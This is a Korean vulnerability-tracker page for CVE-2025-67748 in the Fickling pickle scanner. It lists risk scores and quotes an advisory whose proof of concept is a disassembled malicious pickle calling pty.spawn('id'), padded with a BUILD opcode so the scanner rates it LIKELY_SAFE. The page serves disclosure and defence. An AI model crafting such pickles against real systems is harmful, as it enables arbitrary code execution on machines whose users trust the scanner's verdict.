Kestrel
대시보드로 돌아가기
CVE-2025-67748HIGHMITRENVDGHSA대응게시일: 2025. 12. 16.수정일: 2026. 01. 16.

Fickling has Code Injection vulnerability via pty.spawn()

RCEDeserialization

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
high

이론적 심각도 점수

EPSS
0.2%상위 85.0%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Fickling Assessment

Based on the test case provided in the original report below, this bypass was caused by pty missing from our block list of unsafe module imports (as previously documented in #108), rather than the unused variable heuristic. This led to unsafe pickles based on pty.spawn() being incorrectly flagged as LIKELY_SAFE, and was fixed in https://github.com/trailofbits/fickling/pull/187.

Original report

Summary

An unsafe deserialization vulnerability in Fickling allows a crafted pickle file to bypass the "unused variable" heuristic, enabling arbitrary code execution. This bypass is achieved by adding a trivial operation to the pickle file that "uses" the otherwise unused variable left on the stack after a malicious operation, tricking the detection mechanism into classifying the file as safe.

Details

Fickling relies on the heuristic of detecting unused variables in the VM's stack after execution. Opcodes like REDUCE, OBJ, and INST, which can be used for arbitrary code execution, leave a value on the stack that is often unused in malicious pickle files.
This vulnerability enables a bypass by modifying the pickle file to use this leftover variable. A simple way to achieve this is to add a BUILD opcode that, in effect, adds a __setstate__ to the unused variable. This makes Fickling consider the variable "used," thus failing to flag the malicious file.

PoC

The following is a disassembled view of a malicious pickle file that bypasses Fickling's "unused variable" detection:

text
1 0: \x80 PROTO 4
2 2: \x95 FRAME 26
3 11: \x8c SHORT_BINUNICODE 'pty'
4 16: \x94 MEMOIZE (as 0)
5 17: \x8c SHORT_BINUNICODE 'spawn'
6 24: \x94 MEMOIZE (as 1)
7 25: \x93 STACK_GLOBAL
8 26: \x94 MEMOIZE (as 2)
9 27: \x8c SHORT_BINUNICODE 'id'
10 31: \x94 MEMOIZE (as 3)
11 32: \x85 TUPLE1
12 33: \x94 MEMOIZE (as 4)
13 34: R REDUCE
14 35: \x94 MEMOIZE (as 5)
15 36: \x8c SHORT_BINUNICODE 'gottem'
16 44: \x94 MEMOIZE (as 6)
17 45: b BUILD
18 46: . STOP

Here, the additions to the original pickle file can see on lines 35, 36, 44 and 45.

When analyzing this modified file, Fickling fails to identify it as malicious and reports it as "LIKELY_SAFE" as seen here:

text
1{
2 "severity": "LIKELY_SAFE",
3 "analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n",
4 "detailed_results": {}
5}

Impact

This allows an attacker to craft a malicious pickle file that can bypass fickling since it relies on the "unused variable" heuristic to flag pickle files as unsafe. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.